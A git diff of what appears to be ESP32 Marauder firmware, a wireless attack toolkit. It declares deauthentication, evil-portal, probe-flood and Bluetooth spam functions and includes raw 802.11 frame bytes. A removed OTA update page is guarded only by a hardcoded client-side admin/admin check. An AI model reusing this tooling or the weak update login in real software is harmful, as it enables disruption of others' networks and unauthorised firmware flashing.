|
||||
Serial.println(F("Error, could not find \"update.bin\""));
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.tft.setTextColor(TFT_WHITE);
|
||||
#endif
|
||||
@@ -111,7 +175,7 @@ void SDInterface::runUpdate() {
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.tft.println(F(text_table2[1]));
|
||||
#endif
|
||||
Serial.println(F("Try to start update"));
|
||||
Serial.println(F("Starting update over SD. Please wait..."));
|
||||
this->performUpdate(updateBin, updateSize);
|
||||
}
|
||||
else {
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
|
||||
#include "configs.h"
|
||||
|
||||
#include "settings.h"
|
||||
#include "SD.h"
|
||||
#include "Buffer.h"
|
||||
#ifdef HAS_SCREEN
|
||||
@@ -11,6 +12,7 @@
|
||||
#include <Update.h>
|
||||
|
||||
extern Buffer buffer_obj;
|
||||
extern Settings settings_obj;
|
||||
#ifdef HAS_SCREEN
|
||||
extern Display display_obj;
|
||||
#endif
|
||||
@@ -37,8 +39,11 @@ class SDInterface {
|
||||
|
||||
bool initSD();
|
||||
|
||||
void addPacket(uint8_t* buf, uint32_t len);
|
||||
void listDir(String str_dir);
|
||||
File getFile(String path);
|
||||
void addPacket(uint8_t* buf, uint32_t len, bool log = false);
|
||||
void openCapture(String file_name = "");
|
||||
void openLog(String file_name = "");
|
||||
void runUpdate();
|
||||
void performUpdate(Stream &updateSource, size_t updateSize);
|
||||
void main();
|
||||
|
||||
@@ -1,36 +0,0 @@
|
||||
#include "TemperatureInterface.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
uint8_t temprature_sens_read();
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
uint8_t temprature_sens_read();
|
||||
|
||||
TemperatureInterface::TemperatureInterface() {
|
||||
|
||||
}
|
||||
|
||||
void TemperatureInterface::RunSetup() {
|
||||
this->initTime = millis();
|
||||
this->current_temp = this->getCurrentTemp();
|
||||
}
|
||||
|
||||
uint8_t TemperatureInterface::getCurrentTemp() {
|
||||
#ifndef MARAUDER_FLIPPER
|
||||
return ((temprature_sens_read() - 32) / 1.8);
|
||||
#endif
|
||||
return 0;
|
||||
}
|
||||
|
||||
void TemperatureInterface::main(uint32_t currentTime) {
|
||||
if (currentTime != 0) {
|
||||
if (currentTime - initTime >= 100) {
|
||||
//Serial.println("Checking Battery Level");
|
||||
this->initTime = millis();
|
||||
this->current_temp = this->getCurrentTemp();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,24 +0,0 @@
|
||||
#ifndef TemperatureInterface_h
|
||||
#define TemperatureInterface_h
|
||||
|
||||
#include "configs.h"
|
||||
|
||||
#include <Arduino.h>
|
||||
|
||||
class TemperatureInterface {
|
||||
|
||||
private:
|
||||
uint32_t initTime = 0;
|
||||
|
||||
public:
|
||||
TemperatureInterface();
|
||||
|
||||
uint8_t current_temp = 0;
|
||||
uint8_t old_temp = 0;
|
||||
|
||||
uint8_t getCurrentTemp();
|
||||
void RunSetup();
|
||||
void main(uint32_t currentTime);
|
||||
};
|
||||
|
||||
#endif
|
||||
@@ -1,178 +0,0 @@
|
||||
#include "Web.h"
|
||||
#include "lang_var.h"
|
||||
|
||||
WebServer server(80);
|
||||
|
||||
Web::Web()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
void Web::main()
|
||||
{
|
||||
// Notify if client has connected to the update server
|
||||
|
||||
|
||||
int current_sta = WiFi.softAPgetStationNum();
|
||||
|
||||
if (current_sta < this->num_sta)
|
||||
{
|
||||
this->num_sta = current_sta;
|
||||
Serial.print("Update server: Client disconnected -> ");
|
||||
Serial.println(this->num_sta);
|
||||
}
|
||||
else if (current_sta > this->num_sta)
|
||||
{
|
||||
this->num_sta = current_sta;
|
||||
Serial.print("Update server: Client connected -> ");
|
||||
Serial.println(this->num_sta);
|
||||
}
|
||||
|
||||
|
||||
server.handleClient();
|
||||
delay(1);
|
||||
}
|
||||
|
||||
// Callback for the embedded jquery.min.js page
|
||||
void Web::onJavaScript(void) {
|
||||
Serial.println("onJavaScript(void)");
|
||||
server.setContentLength(jquery_min_js_v3_2_1_gz_len);
|
||||
server.sendHeader(F("Content-Encoding"), F("gzip"));
|
||||
server.send_P(200, "text/javascript", jquery_min_js_v3_2_1_gz, jquery_min_js_v3_2_1_gz_len);
|
||||
}
|
||||
|
||||
void Web::setupOTAupdate()
|
||||
{
|
||||
uint8_t newMACAddress[] = {0x06, 0x07, 0x0D, 0x09, 0x0E, 0x0D};
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.tft.setTextWrap(false);
|
||||
display_obj.tft.setFreeFont(NULL);
|
||||
display_obj.tft.setCursor(0, 100);
|
||||
display_obj.tft.setTextSize(1);
|
||||
display_obj.tft.setTextColor(TFT_WHITE);
|
||||
#endif
|
||||
|
||||
Serial.println(wifi_scan_obj.freeRAM());
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.tft.print(text_table3[0]);
|
||||
#endif
|
||||
Serial.println("Configuring update server...");
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.tft.setTextColor(TFT_YELLOW);
|
||||
#endif
|
||||
|
||||
// Start WiFi AP
|
||||
Serial.println("Initializing WiFi...");
|
||||
//wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
||||
esp_wifi_init(&wifi_scan_obj.cfg);
|
||||
//esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
if (esp_wifi_set_storage(WIFI_STORAGE_FLASH) != ESP_OK)
|
||||
Serial.println("Could not set WiFi Storage!");
|
||||
esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||
esp_wifi_start();
|
||||
Serial.println(wifi_scan_obj.freeRAM());
|
||||
|
||||
Serial.println("Starting softAP...");
|
||||
esp_wifi_set_mac(WIFI_IF_AP, &newMACAddress[0]);
|
||||
WiFi.softAP(ssid, password);
|
||||
Serial.println("");
|
||||
|
||||
Serial.println(wifi_scan_obj.freeRAM());
|
||||
|
||||
Serial.println("Displaying settings to TFT...");
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.tft.print(text_table1[2]);
|
||||
display_obj.tft.println(ssid);
|
||||
display_obj.tft.print(text_table3[1]);
|
||||
display_obj.tft.print(WiFi.softAPIP());
|
||||
display_obj.tft.print("\n");
|
||||
#endif
|
||||
Serial.print("IP address: ");
|
||||
Serial.println(WiFi.softAPIP());
|
||||
|
||||
// return javascript jquery
|
||||
Serial.println("Setting server behavior...");
|
||||
Serial.println(wifi_scan_obj.freeRAM());
|
||||
server.on("/jquery.min.js", HTTP_GET, onJavaScript);
|
||||
/*return index page which is stored in serverIndex */
|
||||
server.on("/", HTTP_GET, [this]() {
|
||||
server.sendHeader("Connection", "close");
|
||||
server.send(200, "text/html", loginIndex);
|
||||
});
|
||||
server.on("/serverIndex", HTTP_GET, [this]() {
|
||||
server.sendHeader("Connection", "close");
|
||||
server.send(200, "text/html", serverIndex);
|
||||
});
|
||||
/*handling uploading firmware file */
|
||||
server.on("/update", HTTP_POST, [this]() {
|
||||
server.sendHeader("Connection", "close");
|
||||
server.send(200, "text/plain", (Update.hasError()) ? "FAIL" : "OK");
|
||||
ESP.restart();
|
||||
}, [this]() {
|
||||
HTTPUpload& upload = server.upload();
|
||||
if (upload.status == UPLOAD_FILE_START) {
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.tft.setTextColor(TFT_YELLOW);
|
||||
display_obj.tft.print(text_table3[2]);
|
||||
display_obj.tft.print(upload.filename.c_str());
|
||||
display_obj.tft.print("\n");
|
||||
#endif
|
||||
Serial.printf("Update: %s\n", upload.filename.c_str());
|
||||
if (!Update.begin(UPDATE_SIZE_UNKNOWN)) { //start with max available size
|
||||
Update.printError(Serial);
|
||||
}
|
||||
} else if (upload.status == UPLOAD_FILE_WRITE) {
|
||||
/* flashing firmware to ESP*/
|
||||
if (Update.write(upload.buf, upload.currentSize) != upload.currentSize) {
|
||||
Update.printError(Serial);
|
||||
}
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.tft.setTextColor(TFT_CYAN);
|
||||
display_obj.tft.fillRect(0, 164, 240, 8, TFT_BLACK);
|
||||
display_obj.tft.setCursor(0, 164);
|
||||
display_obj.tft.print(text_table3[3]);
|
||||
display_obj.tft.print(upload.totalSize);
|
||||
display_obj.tft.print("\n");
|
||||
#endif
|
||||
|
||||
} else if (upload.status == UPLOAD_FILE_END) {
|
||||
if (Update.end(true)) { //true to set the size to the current progress
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.tft.setTextColor(TFT_GREEN);
|
||||
display_obj.tft.print(text_table3[4]);
|
||||
display_obj.tft.print(upload.totalSize);
|
||||
display_obj.tft.print(text_table2[3]);
|
||||
#endif
|
||||
Serial.printf("Update Success: %u\nRebooting...\n", upload.totalSize);
|
||||
delay(1000);
|
||||
} else {
|
||||
Update.printError(Serial);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
Serial.println("Finished setting server behavior");
|
||||
Serial.println(wifi_scan_obj.freeRAM());
|
||||
Serial.println("Starting server...");
|
||||
server.begin();
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.tft.setTextColor(TFT_GREEN);
|
||||
display_obj.tft.println(text_table3[5]);
|
||||
#endif
|
||||
Serial.println("Completed update server setup");
|
||||
Serial.println(wifi_scan_obj.freeRAM());
|
||||
}
|
||||
|
||||
void Web::shutdownServer() {
|
||||
Serial.println("Closing Update Server...");
|
||||
server.stop();
|
||||
WiFi.mode(WIFI_OFF);
|
||||
esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||
esp_wifi_stop();
|
||||
esp_wifi_deinit();
|
||||
Serial.println(wifi_scan_obj.freeRAM());
|
||||
}
|
||||
@@ -1,141 +0,0 @@
|
||||
#ifndef Web_h
|
||||
#define Web_h
|
||||
|
||||
/*
|
||||
Code taken from espressif ESP32 OTA Update example
|
||||
*/
|
||||
|
||||
#include "configs.h"
|
||||
|
||||
#include <WiFi.h>
|
||||
#include <WiFiClient.h>
|
||||
#include <WebServer.h>
|
||||
#include <ESPmDNS.h>
|
||||
#include <Update.h>
|
||||
|
||||
#include "Assets.h"
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
#include "Display.h"
|
||||
#endif
|
||||
|
||||
#include "WiFiScan.h"
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
extern Display display_obj;
|
||||
#endif
|
||||
|
||||
extern WiFiScan wifi_scan_obj;
|
||||
|
||||
class Web
|
||||
{
|
||||
private:
|
||||
|
||||
PROGMEM const char* host = "esp32marauder";
|
||||
PROGMEM const char* ssid = "MarauderOTA";
|
||||
PROGMEM const char* password = "justcallmekoko";
|
||||
|
||||
bool serving = false;
|
||||
|
||||
int num_sta = 0;
|
||||
|
||||
PROGMEM const char* loginIndex =
|
||||
"<form name='loginForm'>"
|
||||
"<table width='20%' bgcolor='A09F9F' align='center'>"
|
||||
"<tr>"
|
||||
"<td colspan=2>"
|
||||
"<center><font size=4><b>ESP32 Login Page</b></font></center>"
|
||||
"<br>"
|
||||
"</td>"
|
||||
"<br>"
|
||||
"<br>"
|
||||
"</tr>"
|
||||
"<td>Username:</td>"
|
||||
"<td><input type='text' size=25 name='userid'><br></td>"
|
||||
"</tr>"
|
||||
"<br>"
|
||||
"<br>"
|
||||
"<tr>"
|
||||
"<td>Password:</td>"
|
||||
"<td><input type='Password' size=25 name='pwd'><br></td>"
|
||||
"<br>"
|
||||
"<br>"
|
||||
"</tr>"
|
||||
"<tr>"
|
||||
"<td><input type='submit' onclick='check(this.form)' value='Login'></td>"
|
||||
"</tr>"
|
||||
"</table>"
|
||||
"</form>"
|
||||
"<script>"
|
||||
"function check(form)"
|
||||
"{"
|
||||
"if(form.userid.value=='admin' && form.pwd.value=='admin')"
|
||||
"{"
|
||||
"window.open('/serverIndex')"
|
||||
"}"
|
||||
"else"
|
||||
"{"
|
||||
" alert('Error Password or Username')/*displays error message*/"
|
||||
"}"
|
||||
"}"
|
||||
"</script>";
|
||||
|
||||
/*
|
||||
* Server Index Page
|
||||
*/
|
||||
|
||||
PROGMEM const char* serverIndex =
|
||||
"<script src='/jquery.min.js'></script>"
|
||||
"Because the lack of an asynchronous webserver in this Arduino sketch like 'ESPAsyncWebServer', <br/>"
|
||||
"both file 'serverIndex' and 'jquery.min.js' can't be read from the webserver at the same time. <br/><br/>"
|
||||
"Your web browser probably requests those two files simultaneously and therefore <br/>"
|
||||
"the javascript file failed to load. By a refresh of this page, the browser cash has already <br/>"
|
||||
"load 'serverIndex' file, the web browser will do a second attempt to only read the javascript file. <br/>"
|
||||
"This second attempt, with an idle webserver, will be processed.<br/><br/>"
|
||||
"Long story short, press F5 (refresh web browser) before uploading your firmware. <br/><br/>"
|
||||
"<form method='POST' action='#' enctype='multipart/form-data' id='upload_form'>"
|
||||
"<input type='file' name='update'>"
|
||||
"<input type='submit' value='Update'>"
|
||||
"</form>"
|
||||
"<div id='prg'>progress: 0%</div>"
|
||||
"<script>"
|
||||
"$('form').submit(function(e){"
|
||||
"e.preventDefault();"
|
||||
"var form = $('#upload_form')[0];"
|
||||
"var data = new FormData(form);"
|
||||
" $.ajax({"
|
||||
"url: '/update',"
|
||||
"type: 'POST',"
|
||||
"data: data,"
|
||||
"contentType: false,"
|
||||
"processData:false,"
|
||||
"xhr: function() {"
|
||||
"var xhr = new window.XMLHttpRequest();"
|
||||
"xhr.upload.addEventListener('progress', function(evt) {"
|
||||
"if (evt.lengthComputable) {"
|
||||
"var per = evt.loaded / evt.total;"
|
||||
"$('#prg').html('progress: ' + Math.round(per*100) + '%');"
|
||||
"}"
|
||||
"}, false);"
|
||||
"return xhr;"
|
||||
"},"
|
||||
"success:function(d, s) {"
|
||||
"console.log('success!')"
|
||||
"},"
|
||||
"error: function (a, b, c) {"
|
||||
"}"
|
||||
"});"
|
||||
"});"
|
||||
"</script>";
|
||||
|
||||
public:
|
||||
|
||||
Web();
|
||||
|
||||
void main();
|
||||
PROGMEM static void onJavaScript();
|
||||
void setupOTAupdate();
|
||||
void shutdownServer();
|
||||
};
|
||||
|
||||
#endif
|
||||
File diff suppressed because it is too large
Load Diff
@@ -3,18 +3,14 @@
|
||||
|
||||
#include "configs.h"
|
||||
|
||||
//#include <BLEDevice.h>
|
||||
//#include <BLEUtils.h>
|
||||
//#include <BLEScan.h>
|
||||
//#include <BLEAdvertisedDevice.h>
|
||||
#include <ArduinoJson.h>
|
||||
|
||||
// Testing NimBLE
|
||||
#ifdef HAS_BT
|
||||
#include <NimBLEDevice.h>
|
||||
#endif
|
||||
|
||||
#include <WiFi.h>
|
||||
#include "EvilPortal.h"
|
||||
#include <math.h>
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_wifi_types.h"
|
||||
@@ -24,15 +20,27 @@
|
||||
#ifdef HAS_SCREEN
|
||||
#include "Display.h"
|
||||
#endif
|
||||
#include "SDInterface.h"
|
||||
#ifdef HAS_SD
|
||||
#include "SDInterface.h"
|
||||
#endif
|
||||
#include "Buffer.h"
|
||||
#include "BatteryInterface.h"
|
||||
#include "TemperatureInterface.h"
|
||||
#ifdef HAS_BATTERY
|
||||
#include "BatteryInterface.h"
|
||||
#endif
|
||||
#ifdef HAS_GPS
|
||||
#include "GpsInterface.h"
|
||||
#endif
|
||||
#include "settings.h"
|
||||
#include "Assets.h"
|
||||
#include "flipperLED.h"
|
||||
#include "LedInterface.h"
|
||||
//#include "MenuFunctions.h"
|
||||
#ifdef MARAUDER_FLIPPER
|
||||
#include "flipperLED.h"
|
||||
#elif defined(XIAO_ESP32_S3)
|
||||
#include "xiaoLED.h"
|
||||
#elif defined(MARAUDER_M5STICKC)
|
||||
#include "stickcLED.h"
|
||||
#else
|
||||
#include "LedInterface.h"
|
||||
#endif
|
||||
|
||||
#define bad_list_length 3
|
||||
|
||||
@@ -67,32 +75,58 @@
|
||||
#define WIFI_SCAN_RAW_CAPTURE 25
|
||||
#define WIFI_SCAN_STATION 26
|
||||
#define WIFI_ATTACK_DEAUTH_TARGETED 27
|
||||
#define WIFI_SCAN_ACTIVE_LIST_EAPOL 28
|
||||
#define WIFI_SCAN_SIG_STREN 29
|
||||
#define WIFI_SCAN_EVIL_PORTAL 30
|
||||
#define WIFI_SCAN_GPS_DATA 31
|
||||
#define WIFI_SCAN_WAR_DRIVE 32
|
||||
#define WIFI_SCAN_STATION_WAR_DRIVE 33
|
||||
#define BT_SCAN_WAR_DRIVE 34
|
||||
#define BT_SCAN_WAR_DRIVE_CONT 35
|
||||
#define BT_ATTACK_SOUR_APPLE 36
|
||||
#define BT_ATTACK_SWIFTPAIR_SPAM 37
|
||||
#define BT_ATTACK_SPAM_ALL 38
|
||||
|
||||
#define GRAPH_REFRESH 100
|
||||
|
||||
#define MAX_CHANNEL 14
|
||||
|
||||
extern EvilPortal evil_portal_obj;
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
extern Display display_obj;
|
||||
#endif
|
||||
extern SDInterface sd_obj;
|
||||
#ifdef HAS_SD
|
||||
extern SDInterface sd_obj;
|
||||
#endif
|
||||
#ifdef HAS_GPS
|
||||
extern GpsInterface gps_obj;
|
||||
#endif
|
||||
extern Buffer buffer_obj;
|
||||
extern BatteryInterface battery_obj;
|
||||
extern TemperatureInterface temp_obj;
|
||||
#ifdef HAS_BATTERY
|
||||
extern BatteryInterface battery_obj;
|
||||
#endif
|
||||
extern Settings settings_obj;
|
||||
extern flipperLED flipper_led;
|
||||
extern LedInterface led_obj;
|
||||
#ifdef MARAUDER_FLIPPER
|
||||
extern flipperLED flipper_led;
|
||||
#elif defined(XIAO_ESP32_S3)
|
||||
extern xiaoLED xiao_led;
|
||||
#elif defined(MARAUDER_M5STICKC)
|
||||
extern stickcLED stickc_led;
|
||||
#else
|
||||
extern LedInterface led_obj;
|
||||
#endif
|
||||
|
||||
esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq);
|
||||
//int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
|
||||
|
||||
struct ssid {
|
||||
/*struct ssid {
|
||||
String essid;
|
||||
uint8_t channel;
|
||||
int bssid[6];
|
||||
bool selected;
|
||||
};
|
||||
};*/
|
||||
|
||||
struct AccessPoint {
|
||||
/*struct AccessPoint {
|
||||
String essid;
|
||||
int channel;
|
||||
int bssid[6];
|
||||
@@ -100,6 +134,11 @@ struct AccessPoint {
|
||||
LinkedList<char>* beacon;
|
||||
int rssi;
|
||||
LinkedList<int>* stations;
|
||||
};*/
|
||||
|
||||
|
||||
struct mac_addr {
|
||||
unsigned char bytes[6];
|
||||
};
|
||||
|
||||
struct Station {
|
||||
@@ -110,8 +149,12 @@ struct Station {
|
||||
class WiFiScan
|
||||
{
|
||||
private:
|
||||
// Wardriver thanks to https://github.com/JosephHewitt
|
||||
struct mac_addr mac_history[mac_history_len];
|
||||
|
||||
// Settings
|
||||
int channel_hop_delay = 1;
|
||||
uint mac_history_cursor = 0;
|
||||
uint8_t channel_hop_delay = 1;
|
||||
bool force_pmkid = false;
|
||||
bool force_probe = false;
|
||||
bool save_pcap = false;
|
||||
@@ -138,7 +181,7 @@ class WiFiScan
|
||||
uint32_t initTime = 0;
|
||||
bool run_setup = true;
|
||||
void initWiFi(uint8_t scan_mode);
|
||||
int bluetoothScanTime = 5;
|
||||
uint8_t bluetoothScanTime = 5;
|
||||
int packets_sent = 0;
|
||||
const wifi_promiscuous_filter_t filt = {.filter_mask=WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA};
|
||||
#ifdef HAS_BT
|
||||
@@ -146,9 +189,9 @@ class WiFiScan
|
||||
#endif
|
||||
|
||||
//String connected_network = "";
|
||||
String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
|
||||
const String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
|
||||
|
||||
char* rick_roll[8] = {
|
||||
const char* rick_roll[8] = {
|
||||
"01 Never gonna give you up",
|
||||
"02 Never gonna let you down",
|
||||
"03 Never gonna run around",
|
||||
@@ -190,32 +233,6 @@ class WiFiScan
|
||||
/*36*/ 0x00
|
||||
};
|
||||
|
||||
/*uint8_t auth_packet[128] = {0xB0, 0x00, 0x3C, 0x00, // Frame Control, Duration
|
||||
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest
|
||||
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest BSSID
|
||||
0x00, 0x01, // Sequence number
|
||||
0x00, 0x00, // Algo
|
||||
0x01, 0x00, // Auth sequence number
|
||||
0x00, 0x00, // Status Code
|
||||
0x7F, 0x08,
|
||||
0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x40,
|
||||
0xDD, 0x0B, 0x00, 0x17, 0xF2, 0x0A, 0x00, 0x01, // Say it was Apple
|
||||
0x04, 0x00, 0x00, 0x00, 0x00, 0xDD, 0x0A, 0x00,
|
||||
0x10, 0x18, 0x02, 0x00, 0x00, 0x10, 0x00, 0x00,
|
||||
0x00
|
||||
};*/
|
||||
uint8_t auth_packet[65] = {0xb0, 0x00, 0x3c, 0x00,
|
||||
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
|
||||
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
|
||||
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
|
||||
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
0x7f, 0x08, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
|
||||
0x00, 0x40, 0xdd, 0x0b, 0x00, 0x17, 0xf2, 0x0a,
|
||||
0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0xdd,
|
||||
0x0a, 0x00, 0x10, 0x18, 0x02, 0x00, 0x00, 0x10,
|
||||
0x00, 0x00, 0x00};
|
||||
|
||||
uint8_t prob_req_packet[128] = {0x40, 0x00, 0x00, 0x00,
|
||||
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination
|
||||
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
@@ -234,6 +251,16 @@ class WiFiScan
|
||||
0xf0, 0xff, 0x02, 0x00
|
||||
};
|
||||
|
||||
bool seen_mac(unsigned char* mac);
|
||||
bool mac_cmp(struct mac_addr addr1, struct mac_addr addr2);
|
||||
void save_mac(unsigned char* mac);
|
||||
void clearMacHistory();
|
||||
void executeWarDrive();
|
||||
void executeSourApple();
|
||||
void executeSwiftpairSpam();
|
||||
void startWardriverWiFi();
|
||||
void generateRandomMac(uint8_t* mac);
|
||||
|
||||
void startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string);
|
||||
|
||||
void packetMonitorMain(uint32_t currentTime);
|
||||
@@ -247,19 +274,14 @@ class WiFiScan
|
||||
void sendProbeAttack(uint32_t currentTime);
|
||||
void sendDeauthAttack(uint32_t currentTime, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
|
||||
void sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
|
||||
void sendDeauthFrame(int bssid[6], int channel, uint8_t mac[6]);
|
||||
void sendDeauthFrame(uint8_t bssid[6], int channel, uint8_t mac[6]);
|
||||
void broadcastRandomSSID(uint32_t currentTime);
|
||||
void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid);
|
||||
void broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid);
|
||||
void broadcastSetSSID(uint32_t current_time, char* ESSID);
|
||||
void broadcastSetSSID(uint32_t current_time, const char* ESSID);
|
||||
void RunAPScan(uint8_t scan_mode, uint16_t color);
|
||||
//void RunRickRoll(uint8_t scan_mode, uint16_t color);
|
||||
//void RunBeaconSpam(uint8_t scan_mode, uint16_t color);
|
||||
//void RunProbeFlood(uint8_t scan_mode, uint16_t color);
|
||||
//void RunDeauthFlood(uint8_t scan_mode, uint16_t color);
|
||||
void RunGPSInfo();
|
||||
void RunMimicFlood(uint8_t scan_mode, uint16_t color);
|
||||
//void RunBeaconList(uint8_t scan_mode, uint16_t color);
|
||||
void RunEspressifScan(uint8_t scan_mode, uint16_t color);
|
||||
void RunPwnScan(uint8_t scan_mode, uint16_t color);
|
||||
void RunBeaconScan(uint8_t scan_mode, uint16_t color);
|
||||
void RunRawScan(uint8_t scan_mode, uint16_t color);
|
||||
@@ -269,12 +291,15 @@ class WiFiScan
|
||||
void RunProbeScan(uint8_t scan_mode, uint16_t color);
|
||||
void RunPacketMonitor(uint8_t scan_mode, uint16_t color);
|
||||
void RunBluetoothScan(uint8_t scan_mode, uint16_t color);
|
||||
void RunSourApple(uint8_t scan_mode, uint16_t color);
|
||||
void RunSwiftpairSpam(uint8_t scan_mode, uint16_t color);
|
||||
void RunLvJoinWiFi(uint8_t scan_mode, uint16_t color);
|
||||
void RunEvilPortal(uint8_t scan_mode, uint16_t color);
|
||||
bool checkMem();
|
||||
#ifdef HAS_BT
|
||||
static void scanCompleteCB(BLEScanResults scanResults);
|
||||
#endif
|
||||
|
||||
//int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
|
||||
|
||||
public:
|
||||
WiFiScan();
|
||||
@@ -283,9 +308,9 @@ class WiFiScan
|
||||
|
||||
//LinkedList<ssid>* ssids;
|
||||
|
||||
int set_channel = 1;
|
||||
uint8_t set_channel = 1;
|
||||
|
||||
int old_channel = 0;
|
||||
uint8_t old_channel = 0;
|
||||
|
||||
bool orient_display = false;
|
||||
bool wifi_initialized = false;
|
||||
@@ -298,10 +323,11 @@ class WiFiScan
|
||||
String dst_mac = "ff:ff:ff:ff:ff:ff";
|
||||
byte src_mac[6] = {};
|
||||
|
||||
//lv_obj_t * scr = lv_cont_create(NULL, NULL);
|
||||
|
||||
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
||||
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
||||
wifi_config_t ap_config;
|
||||
|
||||
String security_int_to_string(int security_type);
|
||||
char* stringToChar(String string);
|
||||
void RunSetup();
|
||||
int clearSSIDs();
|
||||
@@ -312,15 +338,14 @@ class WiFiScan
|
||||
bool shutdownWiFi();
|
||||
bool shutdownBLE();
|
||||
bool scanning();
|
||||
void joinWiFi(String ssid, String password);
|
||||
//void joinWiFi(String ssid, String password);
|
||||
String getStaMAC();
|
||||
String getApMAC();
|
||||
String freeRAM();
|
||||
void changeChannel();
|
||||
void changeChannel(int chan);
|
||||
void RunInfo();
|
||||
void RunShutdownWiFi();
|
||||
void RunShutdownBLE();
|
||||
//void RunShutdownBLE();
|
||||
void RunGenerateSSIDs(int count = 20);
|
||||
void RunClearSSIDs();
|
||||
void RunClearAPs();
|
||||
@@ -330,9 +355,10 @@ class WiFiScan
|
||||
void main(uint32_t currentTime);
|
||||
void StartScan(uint8_t scan_mode, uint16_t color = 0);
|
||||
void StopScan(uint8_t scan_mode);
|
||||
const char* generateRandomName();
|
||||
//void addLog(String log, int len);
|
||||
|
||||
static void getMAC(char *addr, uint8_t* data, uint16_t offset);
|
||||
static void espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
static void pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
static void beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
static void rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
@@ -345,5 +371,6 @@ class WiFiScan
|
||||
static void activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
static void eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
static void wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
static void addPacket(wifi_promiscuous_pkt_t *snifferPacket, int len);
|
||||
};
|
||||
#endif
|
||||
|
||||
@@ -1,69 +0,0 @@
|
||||
#include "a32u4_interface.h"
|
||||
|
||||
HardwareSerial MySerial_two(2);
|
||||
|
||||
void A32u4Interface::begin() {
|
||||
MySerial_two.begin(BAUD32U4, SERIAL_8N1, 25, 4);
|
||||
|
||||
delay(2000);
|
||||
|
||||
Serial.println("Setup A32U4 Serial Interface");
|
||||
|
||||
MySerial_two.println("DELAY 1");
|
||||
|
||||
delay(1000);
|
||||
|
||||
uint8_t a32u4_rep = 0;
|
||||
|
||||
if (MySerial_two.available()) {
|
||||
a32u4_rep = (uint8_t)MySerial_two.read();
|
||||
}
|
||||
|
||||
//display_string.trim();
|
||||
|
||||
//Serial.println("\nDisplay string: " + (String)display_string);
|
||||
|
||||
if (a32u4_rep != 0) {
|
||||
this->supported = true;
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
|
||||
display_obj.tft.println("ATmega32U4 Found!");
|
||||
display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
|
||||
#endif
|
||||
}
|
||||
else {
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
|
||||
display_obj.tft.println("ATmega32U4 Not Found");
|
||||
display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
|
||||
#endif
|
||||
Serial.print("A32U4 Said: ");
|
||||
Serial.println(a32u4_rep);
|
||||
}
|
||||
|
||||
this->initTime = millis();
|
||||
}
|
||||
|
||||
void A32u4Interface::runScript(String script) {
|
||||
MySerial_two.println(script);
|
||||
}
|
||||
|
||||
